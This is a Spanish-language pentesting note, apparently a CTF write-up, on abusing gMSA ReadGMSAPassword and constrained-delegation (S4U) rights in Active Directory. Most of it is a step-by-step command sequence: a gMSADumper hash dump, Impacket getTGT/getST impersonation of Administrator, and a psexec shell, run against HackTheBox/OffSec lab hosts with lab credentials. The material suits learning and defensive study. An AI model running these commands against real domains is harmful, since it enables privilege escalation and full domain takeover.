Saltar a contenido

GMSA abusing and s4u delegation attack [ReadGMSAPassword] + [AllowedToDelegate]

Descripción del ataque

Este ataque aprovecha dos permisos clave para comprometer un entorno de Active Directory mediante una cuenta de servicio administrada de grupo (gMSA):

  1. ReadGMSAPassword: Este permiso permite leer la contraseña Kerberos asociada a la cuenta gMSA. Utilizando herramientas como gMSADumper.py, se extrae el hash NTLM de la cuenta de servicio, lo que proporciona acceso inicial para realizar operaciones en su contexto.

  2. AllowedToDelegate: Este permiso habilita la delegación de credenciales, lo que permite a la cuenta gMSA actuar en nombre de otros usuarios. Combinando los ataques S4U2Self y S4U2Proxy, es posible generar un Ticket de Servicio (ST) para un SPN arbitrario (por ejemplo, cifs/dc.intelligence.htb) e impersonar a un usuario privilegiado como Administrator.

El resultado final es el acceso a recursos protegidos o sistemas críticos, explotando la configuración indebida de permisos en la cuenta gMSA.

Objetivo y ejemplo de uso en un CTF

  • El objetivo es obtener un Ticket de Servicio (ST) para un SPN arbitrario (como cifs/dc.intelligence.htb) impersonando a un usuario privilegiado, aprovechando que la cuenta svc_int$ tiene permiso para delegar.

Diagrama del ataque


Herramientas utilizadas


Pasos del ataque

  1. Ejecutar gMSADumper.py para extraer el hash NTLM de la cuenta svc_int$:

    python3 gMSADumper.py -u 'TED.GRAVES' -p 'Mr.Teddy' -d 'intelligence.htb'
    
    Resultado:
    svc_int$:::b05dfb2636385604c6d36b0ca61e35cb
    

  2. Utilizar getTGT.py para obtener un TGT usando el hash NTLM de svc_int$:

    getTGT.py 'INTELLIGENCE.HTB/svc_int$' -hashes :b05dfb2636385604c6d36b0ca61e35cb
    export KRB5CCNAME=/home/kali/svc_int$.ccache
    

  3. Impersonar al usuario Administrator con getST.py:

    getST.py -spn WWW/dc.intelligence.htb -impersonate Administrator intelligence.htb/svc_int$ -hashes :b05dfb2636385604c6d36b0ca61e35cb
    
    Resultado:
    [*] Requesting S4U2Proxy
    [*] Saving ticket in Administrator@[email protected]
    

  4. Exportar el nuevo ticket:

    export KRB5CCNAME=Administrator@[email protected]
    

  5. Conectarse al sistema objetivo con psexec.py:

    psexec.py -k -no-pass INTELLIGENCE.HTB/[email protected]
    

    Ejemplo de salida:

    Microsoft Windows [Version 10.0.17763.1879]
    (c) 2018 Microsoft Corporation. All rights reserved.
    
    C:\Windows\system32> type c:\Users\Administrator\Desktop\root.txt
    1375c5a7e7b13d7d9e063dd4629cb806
    


Versión en powershell

  • Script
  • . .\Invoke-GMSAPasswordReader.ps1
  • Invoke-GMSAPasswordReader -Command "--AccountName USERNAME"

Calculating hashes for Old Value
[*] Input username             : svc_apache$
[*] Input domain               : HEIST.OFFSEC
[*] Salt                       : HEIST.OFFSECsvc_apache$
[*]       rc4_hmac             : <OLD_RC4_HASH>
[*]       aes128_cts_hmac_sha1 : <OLD_AES128_HASH>
[*]       aes256_cts_hmac_sha1 : <OLD_AES256_HASH>
[*]       des_cbc_md5          : <OLD_DES_HASH>

Calculating hashes for Current Value
[*] Input username             : svc_apache$
[*] Input domain               : HEIST.OFFSEC
[*] Salt                       : HEIST.OFFSECsvc_apache$
[*]       rc4_hmac             : <CURRENT_RC4_HASH>
[*]       aes128_cts_hmac_sha1 : <CURRENT_AES128_HASH>
[*]       aes256_cts_hmac_sha1 : <CURRENT_AES256_HASH>
[*]       des_cbc_md5          : <CURRENT_DES_HASH>
- siendo <CURRENT_RC4_HASH> el NT hash de la cuenta

Referencias

ReadGMSAPassword

AllowedToDelegate